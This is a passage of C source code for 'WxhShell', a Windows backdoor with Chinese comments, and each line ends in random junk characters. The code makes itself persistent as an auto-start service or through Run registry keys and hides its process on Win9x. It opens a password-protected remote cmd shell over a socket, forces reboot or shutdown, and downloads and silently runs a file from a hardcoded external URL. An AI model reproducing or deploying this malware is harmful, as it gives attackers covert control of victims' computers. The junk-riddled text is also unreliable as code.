    if(Boot(SHUTDOWN)) "eI-Y`O,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j3`:;'L  
    else {  ^]wm Y  
    closesocket(wsh); 4'+/R%jk"  
    ExitThread(0); _@sqCf%|  
    } OjMDxG w  
    break; OdRXNk:k-j  
    } yhQo1e>  
  // 获取shell "rc}mq  
  case 's': { {_3ZKD(\  
    CmdShell(wsh); uVDB; 6  
    closesocket(wsh); @)VJ,Ql$Y  
    ExitThread(0); lZ^XZjwoM  
    break; 2K, 1wqf'  
  } [ $.oyjd  
  // 退出 H|F>BjXn5  
  case 'x': { !i_5Xc H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lhQ*;dMj%"  
    CloseIt(wsh); aChY5R  
    break; lqqY5l6j  
    } ReKnvF~  
  // 离开 8XX ,(k_b  
  case 'q': { K"Nq_Ddwd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &[S)zR=?  
    closesocket(wsh); nImRU.;P  
    WSACleanup(); .eZ4?|at.F  
    exit(1); jc;&g)Rv  
    break; !Si ZA"  
        } <6p{eGAQV  
  } QwOQS %  
  } 6JRee[  
`ZV;Le '  
  // 提示信息 d^]wqnpf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ow/ /#:  
} '.WYs!  
  } ?]kIztH  
4,H}'@Db}  
  return; FjiLc=RXXz  
} }}t"^ms  
hpWAQ#%oHm  
// shell模块句柄 ]N1$ioC#  
int CmdShell(SOCKET sock) F\-qXSA  
{ *i5&x/ds  
STARTUPINFO si; P|HY=RM a  
ZeroMemory(&si,sizeof(si)); h]@Xucc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @!%<JZEz3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n{4&('NRFP  
PROCESS_INFORMATION ProcessInfo; PK3T@Qv89  
char cmdline[]="cmd"; oH6(Lq'q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k qwS/s  
  return 0; T a/G  
} ?/dz!{JC  
,iSs2&$ m  
// 自身启动模式 'kW`62AX  
int StartFromService(void) 7 hnTHL  
{ F;q I^{m2  
typedef struct .^JID~<?#  
{ #"i}wS  
  DWORD ExitStatus; -fUz$Df/R  
  DWORD PebBaseAddress; T'Jw\u>"R  
  DWORD AffinityMask; >@ H:+0h-  
  DWORD BasePriority; V7rcnk#  
  ULONG UniqueProcessId; @gxO%@@  
  ULONG InheritedFromUniqueProcessId; dqF--)Nb  
}   PROCESS_BASIC_INFORMATION; 1f[!=p  
8{?Oi'-|0  
PROCNTQSIP NtQueryInformationProcess; D*D83z OzN  
&rw|fF|]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C:4h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zls4@/\Q  
?r'b Z~  
  HANDLE             hProcess; : ] Y=  
  PROCESS_BASIC_INFORMATION pbi; lZn <v'y  
qY14LdC}~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {R1jysG tD  
  if(NULL == hInst ) return 0; $ P#k|A  
o6vm(I%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ypv"u0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /-BplU*"9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |_O; U=2  
i"w$D{N  
  if (!NtQueryInformationProcess) return 0; a |z{B b  
$: Qi9N   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d54>nycU~N  
  if(!hProcess) return 0; .P,\69g~A  
W4>8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3$HFHUMQsk  
I[[rVts  
  CloseHandle(hProcess); "me J n/  
GueqpEd2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I"@5=m5  
if(hProcess==NULL) return 0; fWKv3S1dT  
[eWB vAiW  
HMODULE hMod; .`)ICX  
char procName[255]; R_@yj]%H=  
unsigned long cbNeeded; (5G^"Srw  
%f{kT<XHu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +;cw<9%0  
Yj0Ss{Ep  
  CloseHandle(hProcess); H3a}`3}U  
{ Ja#pt  
if(strstr(procName,"services")) return 1; // 以服务启动  d(v )SS  
 NsJUruN  
  return 0; // 注册表启动 !Rsx)  
} zD)2af  
Sl 6}5  
// 主模块 7Bmt^J5i&t  
int StartWxhshell(LPSTR lpCmdLine) -} Z  
{ WfO6Fvx%  
  SOCKET wsl; t~@TUTbx  
BOOL val=TRUE; .` ,YUr$.  
  int port=0; %?RX}37K  
  struct sockaddr_in door; Q*KEODR8\  
Y%wF;I1x  
  if(wscfg.ws_autoins) Install(); >nl *aN  
!vett4C* K  
port=atoi(lpCmdLine); -{L[Wt{1  
GD*6tk;5/  
if(port<=0) port=wscfg.ws_port; fMLm_5(H  
Yq;S%.  
  WSADATA data; {kZhje^$vi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i[jAAr$  
0c:CA>F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -?e~S\JH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); roRZE[ya  
  door.sin_family = AF_INET; }A2@1TTPX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =|?w<qc  
  door.sin_port = htons(port); AK [9fxrE  
ADHe! [6q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {}lw%d?A  
closesocket(wsl); YTYYb#"Q  
return 1; 2@^8{  
} "$Rl9(}  
lWOB!l  
  if(listen(wsl,2) == INVALID_SOCKET) { M}@^8  
closesocket(wsl); JBjz2$ZM  
return 1; L2K4nTA  
} 0n3O;=[aV  
  Wxhshell(wsl); b5H[~8mf  
  WSACleanup(); ICV67(Ui  
ZC0F:=/K  
return 0; x$M[/ID0  
[0IeEjL  
} n}?kQOg0/  
Ui1K66{  
// 以NT服务方式启动 -{P)\5.L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TWxMexiW  
{ Vwv O@G7A  
DWORD   status = 0; :.sK:W("v  
  DWORD   specificError = 0xfffffff; 1S_ KX.  
lYy0   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]bS\*q0Zf(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Q|$&b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !5=3Y4bg1  
  serviceStatus.dwWin32ExitCode     = 0;  i4Fw+Z  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Xb:f/lB  
  serviceStatus.dwCheckPoint       = 0; rU'&o) a^  
  serviceStatus.dwWaitHint       = 0; 7 H<_ wW  
/nC"'d(#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I98wMV8  
  if (hServiceStatusHandle==0) return; c?z% z&  
JDMaLo  
status = GetLastError(); St&XG>nWS  
  if (status!=NO_ERROR) VY![VnHsB  
{ ^{Mx?]z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @];Xbbw+c  
    serviceStatus.dwCheckPoint       = 0; Y @K9Hl  
    serviceStatus.dwWaitHint       = 0; 0e/~H^,SQ  
    serviceStatus.dwWin32ExitCode     = status; uHwuw_eK`  
    serviceStatus.dwServiceSpecificExitCode = specificError; My5X%)T>P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;rq{ac!P]  
    return; (1TYJ. Z  
  } ^&Qaf:M  
{O!fV<Vx 9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cf%)W:Q9  
  serviceStatus.dwCheckPoint       = 0; L(X:=) !K0  
  serviceStatus.dwWaitHint       = 0; s!UC{)g,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dn5T7a~   
} 9Uk9TG5  
V#sANi?mpo  
// 处理NT服务事件,比如:启动、停止 +/UInAM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ya,>E@oc  
{ ]n!pn#Q  
switch(fdwControl) 1zl@$ Nt  
{ Wc+ e>*  
case SERVICE_CONTROL_STOP:  r5F#q  
  serviceStatus.dwWin32ExitCode = 0; y6G[-?"/Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R4qS,2E  
  serviceStatus.dwCheckPoint   = 0; * 9*I:Uh57  
  serviceStatus.dwWaitHint     = 0; B|!YGf L  
  { j[=f;&1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q 2= ^l  
  } oR3$A :!P=  
  return; `#9ZP  
case SERVICE_CONTROL_PAUSE: UkeW2l`:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )_f "[m%  
  break; wdp 4-*  
case SERVICE_CONTROL_CONTINUE: c.d*DM}W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \WZ00Y,*  
  break; p%,JWZ[  
case SERVICE_CONTROL_INTERROGATE: x#pT B.  
  break; m4kmJaM  
}; _u.l|yR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cL`l1:j\}  
} \)LY_D:  
iaPY>EP1  
// 标准应用程序主函数 _YbHnb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hQX|wWh  
{ /~AajLxu3W  
P:CwC"z>sS  
// 获取操作系统版本 L18Olu  
OsIsNt=GetOsVer(); McA,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,9q5jOnk  
BDcl1f T  
  // 从命令行安装 'JRkS'ay  
  if(strpbrk(lpCmdLine,"iI")) Install(); "*TnkFTR  
=k0l>)  
  // 下载执行文件 +fKLCzj  
if(wscfg.ws_downexe) { o>j3<#?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I,q3J1K  
  WinExec(wscfg.ws_filenam,SW_HIDE); -+c_TJ.dC  
} -vhgBru  
@0t,vye  
if(!OsIsNt) { JJ[J'xl@  
// 如果时win9x,隐藏进程并且设置为注册表启动 JkpA \<  
HideProc(); ];(w8l  
StartWxhshell(lpCmdLine); 03{e[#6   
} <tFq6|  
else A "w 1GBx  
  if(StartFromService()) %Wu3$b  
  // 以服务方式启动 ~2 =B:;  
  StartServiceCtrlDispatcher(DispatchTable); IWKQU/l!  
else 9I.="b=J)  
  // 普通方式启动 Z=wLNmH  
  StartWxhshell(lpCmdLine); "rkP@ja9n  
[t?ftS  
return 0; a}%>i~v<  
} `_z8DA}E  
h5B'w  
z^=9%tLJ  
&{l?j>|TM  
=========================================== (}c}=V  
`ZNz Dr  
M-0BQs`N  
)<jj O  
Ue~M .LZb  
|?{Zx&yUw  
" @u$4{sjgf\  
}0qgvw  
#include <stdio.h> N{oD1%  
#include <string.h> $FCLo8/=  
#include <windows.h> Jf4D">h  
#include <winsock2.h> lZ E x0  
#include <winsvc.h> >'E'Mp.  
#include <urlmon.h> Fe`$mtPu.  
/ 1E6U6  
#pragma comment (lib, "Ws2_32.lib") rN_\tulOF  
#pragma comment (lib, "urlmon.lib") =j }]-!  
C\ 9eR  
#define MAX_USER   100 // 最大客户端连接数 uiO8F*,!&r  
#define BUF_SOCK   200 // sock buffer q[**i[+%  
#define KEY_BUFF   255 // 输入 buffer XCQ =`3f  
LLV:E{`p  
#define REBOOT     0   // 重启 <C]s\ "o-`  
#define SHUTDOWN   1   // 关机 -pyTzC$HO  
~?S/0]?c  
#define DEF_PORT   5000 // 监听端口 i!sKL%z}  
7e>n{rl  
#define REG_LEN     16   // 注册表键长度 r!j_KiUy  
#define SVC_LEN     80   // NT服务名长度 ~eE2!/%9  
D0tI  
// 从dll定义API y \V!OY@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =][[TH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f~8Xue,l"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >`\~=ivrD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 62a{Ggs{  
'}]w=2Lf  
// wxhshell配置信息 mI?AI7DqK  
struct WSCFG { 57rc|]C  
  int ws_port;         // 监听端口 2 ;U(r: ]  
  char ws_passstr[REG_LEN]; // 口令 9boNB "h]T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8@Y]dz gjj  
  char ws_regname[REG_LEN]; // 注册表键名 jD'\\jAUdm  
  char ws_svcname[REG_LEN]; // 服务名 2Vt iL^;5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 beN0 ?G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !V#(g./W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U")bvUIL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MhWmY[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aJK8G,Vk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jh2D 9h  
')+'m1N  
}; ]KLj Qpd  
lP\7=9rh^x  
// default Wxhshell configuration c9r, <TR9  
struct WSCFG wscfg={DEF_PORT, 3Sf <oYF  
    "xuhuanlingzhe", 9xN4\y6F  
    1, Fdzs Wm  
    "Wxhshell", G-9]z[\#  
    "Wxhshell", l<! ?`V6}  
            "WxhShell Service", A0 x*feK?  
    "Wrsky Windows CmdShell Service", _}{C?611c  
    "Please Input Your Password: ", .$L'Jt2X  
  1, p.gi8%f`  
  "http://www.wrsky.com/wxhshell.exe", i|y8n7c  
  "Wxhshell.exe" rp+&ax}Wh  
    }; 68W&qzw.[r  
FE" ksi 9  
// 消息定义模块 [f&ja[m q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M7BJ$fA0E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nz\=M|@(#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gb( a`  
char *msg_ws_ext="\n\rExit."; 0a ZplE,  
char *msg_ws_end="\n\rQuit."; ggXg4~WL  
char *msg_ws_boot="\n\rReboot..."; z3[ J>  
char *msg_ws_poff="\n\rShutdown..."; |ILj}4ZA7  
char *msg_ws_down="\n\rSave to "; \Om.pOz  
yiWBIJ2Wu9  
char *msg_ws_err="\n\rErr!"; r` HtN{6r  
char *msg_ws_ok="\n\rOK!"; ezgP\ct  
][I}yOD70  
char ExeFile[MAX_PATH]; G;>b}\Ng  
int nUser = 0; 9jCn|+  
HANDLE handles[MAX_USER]; d[6[3B  
int OsIsNt; w0q.cj@nd  
_>S."cm}!k  
SERVICE_STATUS       serviceStatus; pmv;M`_|R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iQ~;to;Y  
S[n ;u-U  
// 函数声明 3#!}W#xv  
int Install(void); +.! F]0ju  
int Uninstall(void); xi %u)p  
int DownloadFile(char *sURL, SOCKET wsh); ~C\R!DN,  
int Boot(int flag); ,-rOfk\u  
void HideProc(void); m+?$cyA>v  
int GetOsVer(void); 1}%vZE2  
int Wxhshell(SOCKET wsl); [z5pqd-  
void TalkWithClient(void *cs); x9hkE!{8  
int CmdShell(SOCKET sock); &O/;YGEAB  
int StartFromService(void); g+bc4eU  
int StartWxhshell(LPSTR lpCmdLine); [u`v'*0d  
J-P> ~ L"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %scSp&X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }4Ef31X8q  
"eA4JL\%)  
// 数据结构和表定义 q@1b{q#C5  
SERVICE_TABLE_ENTRY DispatchTable[] = rF'_YYpr>  
{ AvfSR p  
{wscfg.ws_svcname, NTServiceMain}, K -cRNt  
{NULL, NULL} Y`eUWCD  
}; (J I4ibP  
h8iic  
// 自我安装 \fj* .[,  
int Install(void) ANR?An  
{ _a|-_p  
  char svExeFile[MAX_PATH]; Oi+9kk e  
  HKEY key; dUegHBw_`R  
  strcpy(svExeFile,ExeFile); b= amd*  
x|g>Zd/n  
// 如果是win9x系统,修改注册表设为自启动 jNd."[IrO  
if(!OsIsNt) { cv})^E$x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &66-0d+Sh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !YYI{BJ7:N  
  RegCloseKey(key); He @d~9M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =4+Wx8ZeW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :08b&myx  
  RegCloseKey(key); #;4<dDVy  
  return 0; mwU|Hh)N]  
    } !6{; z/Hy  
  } Gi]R8?M  
} %Bn"/0,  
else { (1Q G]1q  
< Ih)h$8`  
// 如果是NT以上系统,安装为系统服务 )(V|d$n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .dM4B'OA?  
if (schSCManager!=0) rWsUWA T*  
{ v/gxQy+l  
  SC_HANDLE schService = CreateService eLPWoQXt  
  ( &m<:&h& b  
  schSCManager, di $\\ Ah  
  wscfg.ws_svcname, HG kL6o=  
  wscfg.ws_svcdisp, S<fSoU+RJ  
  SERVICE_ALL_ACCESS, 36iDiT_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jNV)=s^ed[  
  SERVICE_AUTO_START, H%y!lR{c^D  
  SERVICE_ERROR_NORMAL, {HoeK>rd  
  svExeFile, YytO*^e}}  
  NULL, 4k%y*L  
  NULL, &q8oalh  
  NULL, Y]MB/\gj  
  NULL, d rRi<7 i  
  NULL W@S>#3,  
  ); nD#QC=}  
  if (schService!=0) W5a7HkM  
  { V&e 9?5@  
  CloseServiceHandle(schService); &}}UdJ`  
  CloseServiceHandle(schSCManager); AIN Fv;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \; #T.@c5  
  strcat(svExeFile,wscfg.ws_svcname); iwM$U( 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b&]_5 GGc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r2!\Ts5v  
  RegCloseKey(key); H 5\k`7R  
  return 0; hJ|zX  
    } gu:8+/W8L  
  } T)N_~f|  
  CloseServiceHandle(schSCManager); my1FW,3  
} U0X,g(2'  
} K3g<NC  
Y8l 8B>  
return 1; Vd%%lv{v  
} ~F; ~  
g+v.rmX  
// 自我卸载 $F&m('aB8  
int Uninstall(void) kxvzAKz~  
{ J]mG!#9  
  HKEY key; #M/^n0E  
76 ] X  
if(!OsIsNt) { P6G&3yPt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , yd]R4M  
  RegDeleteValue(key,wscfg.ws_regname); "|k 4<"]  
  RegCloseKey(key); NAg9EaWja{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HgY [Q}7s  
  RegDeleteValue(key,wscfg.ws_regname); 8_*31Y   
  RegCloseKey(key); [T}Lq~  
  return 0; *h([ai"1-  
  } 9Ub##5$[,  
} |J:|56kVZq  
} &AUtUp kOo  
else { M0) q  
Po B-:G6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,y>Sq +  
if (schSCManager!=0) u$M,&Om  
{ r3;@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z(h.)$yH*=  
  if (schService!=0) \5 S^~(iL  
  { ),!1B%  
  if(DeleteService(schService)!=0) { H\vd0DD;  
  CloseServiceHandle(schService); L|hoA9/]  
  CloseServiceHandle(schSCManager); m.6O%jD  
  return 0; UgD|tuz]  
  } 1U?,}w   
  CloseServiceHandle(schService); k.5(d.*(  
  } I,8f{T!O@"  
  CloseServiceHandle(schSCManager); Ez)hArxns  
} w ag^Sk  
} MJ?fMR@  
%$Sm ei  
return 1; 5|<jPc  
} ](@HPAG]  
:z-UnC||j  
// 从指定url下载文件 #Ch*a.tI@  
int DownloadFile(char *sURL, SOCKET wsh) ~vPR9\e  
{ .D8|_B  
  HRESULT hr; Tf*DFyr  
char seps[]= "/"; 4 AWL::FU5  
char *token; 1SK|4Am  
char *file; ybY[2g2QJ  
char myURL[MAX_PATH]; N e<D'-  
char myFILE[MAX_PATH]; R\T1R"1  
chC= $(5t  
strcpy(myURL,sURL); _uf,7R-  
  token=strtok(myURL,seps); DWwPid} "  
  while(token!=NULL) hj4mbL  
  { F $6JzF$|F  
    file=token; Mil+> X0  
  token=strtok(NULL,seps); 3QF/{$65!  
  } w\}@+w3b~  
GZt L-   
GetCurrentDirectory(MAX_PATH,myFILE); OaH1xZNOC`  
strcat(myFILE, "\\"); ?:AD&Dn  
strcat(myFILE, file); &02I-lD4+  
  send(wsh,myFILE,strlen(myFILE),0); +x(~!33[G  
send(wsh,"...",3,0); Y#<>N-X|kA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A||,|He~  
  if(hr==S_OK) 6"djX47j  
return 0; AY x*Ngn  
else &l8eljg  
return 1; }nx5  
1Qk]?R/DN  
} ,L&d\M"f  
H_n Ilku  
// 系统电源模块 CK=TD`$w  
int Boot(int flag) UKpc3Jo:~  
{ _c$F?9:  
  HANDLE hToken; 'c/S$_r  
  TOKEN_PRIVILEGES tkp; k}&7!G@T  
4 \Ig<C9  
  if(OsIsNt) { =pk5'hBAi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p6c&vEsNj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1DR ih>+#  
    tkp.PrivilegeCount = 1; kMx^L;:n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @>Bgld&vl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  eQU~A9  
if(flag==REBOOT) { SNOML7pd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kl/n>qEt  
  return 0; UbDpSfub  
}   -]. a0  
else { Dbg,|UH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g-LMct8$  
  return 0; q|zips,  
} G%F}H/|R  
  } M* 0zvNg  
  else { ia#8 ^z  
if(flag==REBOOT) { XVfw0-O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l.Q.G<ol  
  return 0; IgyoBfj\d  
} 5q,ZH6\ {  
else { s1>d)2lX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "&%Lhyt  
  return 0; 7U1^=Y@t}  
} H8!)zZ  
} Q+7+||RW  
z]/!4+  
return 1; .LI(2lP  
}  7CwQmVe+  
Ib(G!oO:E-  
// win9x进程隐藏模块 92(P~Sdv  
void HideProc(void) n@$("p  
{ 6PyW(i(bs  
N;` jz(r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U ATF}x   
  if ( hKernel != NULL ) N`J]k B7  
  { gp<XTLJ@>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p#0L@!,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mFrDV,V  
    FreeLibrary(hKernel); `$t|O&z  
  } po@Agyg5  
AL{iQxQ6  
return; 0dW*].Gi:  
} -, uT8'  
1c|{<dFm  
// 获取操作系统版本 hS'!JAM>Q  
int GetOsVer(void) A~X| vW  
{ /hSEm.<  
  OSVERSIONINFO winfo; *X /i<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G{74o8  
  GetVersionEx(&winfo); . e_VPKF|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |,Kk#`lW<f  
  return 1; :MihVLF  
  else ~%L=<TBAc  
  return 0; ?mHu eX  
} 7g>|e  
%n^ugm0B  
// 客户端句柄模块 *. 1S  
int Wxhshell(SOCKET wsl) xzXNcQ  
{ 7/zaf  
  SOCKET wsh; @TJ2 |_s6]  
  struct sockaddr_in client; 8?N![D\@  
  DWORD myID; sSy!mtS  
N4l}5(e  
  while(nUser<MAX_USER) aTwBRm  
{  ]&OI.p  
  int nSize=sizeof(client); *?pnTQs^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 88KQ) NU  
  if(wsh==INVALID_SOCKET) return 1; ^c]c`w  
n s#v?D9NF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t|m=X  
if(handles[nUser]==0) K5HzA1^  
  closesocket(wsh); H`s[=Y,m  
else ws<p BC,m  
  nUser++; .*B@1q  
  } E[Q2ZqhgbP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Ibe~!EiQJ  
q"i]&dMr  
  return 0; VCzb[.  
} G 2`hEX%  
.@0@Y  
// 关闭 socket 9-Z ?  
void CloseIt(SOCKET wsh) 7Ue&y8Yf  
{ 2cjbb kq  
closesocket(wsh); 26}fB  
nUser--; y~'%PUN  
ExitThread(0); >8|V[-H  
} ZypK''&oc  
\M;cF "e-S  
// 客户端请求句柄 qpjiQ,\:b  
void TalkWithClient(void *cs) \]0#jI/:  
{ OX7a72z  
WmOu#5*;  
  SOCKET wsh=(SOCKET)cs; $Wu|4]o>9  
  char pwd[SVC_LEN]; .X5A7 m  
  char cmd[KEY_BUFF]; LLL;SNY  
char chr[1]; ;9<?~S  
int i,j; H<tU[U=G  
_>bk'V7  
  while (nUser < MAX_USER) { TK0WfWch  
>)HKruSW.  
if(wscfg.ws_passstr) { J!}\v=Rn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ++eT 0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u2IU/z8 ^  
  //ZeroMemory(pwd,KEY_BUFF); {Iz"]Wh<f  
      i=0; DyCkz"1S  
  while(i<SVC_LEN) { ktkS$  
T*g}^TEh  
  // 设置超时 $Wjx$fD  
  fd_set FdRead; $rJgBN   
  struct timeval TimeOut; k7& cc|y  
  FD_ZERO(&FdRead); ]Ot=At  
  FD_SET(wsh,&FdRead); 3a&HW JBSx  
  TimeOut.tv_sec=8; 4aKppj  
  TimeOut.tv_usec=0; RXo6y(^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hu >wcOt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '#>Fe`[  
`.Zm}'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lavy?tFer  
  pwd=chr[0]; $1FnjL5u  
  if(chr[0]==0xd || chr[0]==0xa) { BC5R$W. e  
  pwd=0; OdO n wY  
  break; /([a%,DI  
  } ^M\X/uq$E  
  i++; \}\# fg  
    } O`I}Lg]~q  
EnmMFxu<  
  // 如果是非法用户,关闭 socket qDqy9u:g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #guK&?Fye  
} "$P/ek  
I%($,kd}s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I Bko"|e@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pWn]$HaoG  
M& )yr^  
while(1) { Vvp{y  
I2-ue 63 ?  
  ZeroMemory(cmd,KEY_BUFF); ~'|^|*}~Dj  
ysCK_  
      // 自动支持客户端 telnet标准   4l>U13~#  
  j=0; Z|fi$2k0!  
  while(j<KEY_BUFF) { 4TyzD%pOw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {?q`9[Z  
  cmd[j]=chr[0]; ^/cqE[V~,  
  if(chr[0]==0xa || chr[0]==0xd) { .V\~#Ro$G  
  cmd[j]=0; hi4-Z=pl  
  break; &M tF  
  } [mj=m?j  
  j++; *>HS>#S  
    } !E|R3e X_  
A'Z!l20_  
  // 下载文件 k2fJ  
  if(strstr(cmd,"http://")) { gvPHB+#A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S(^YTb7  
  if(DownloadFile(cmd,wsh)) Y]^*mc0fE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eA{A3.f"Hz  
  else 72/ bC  
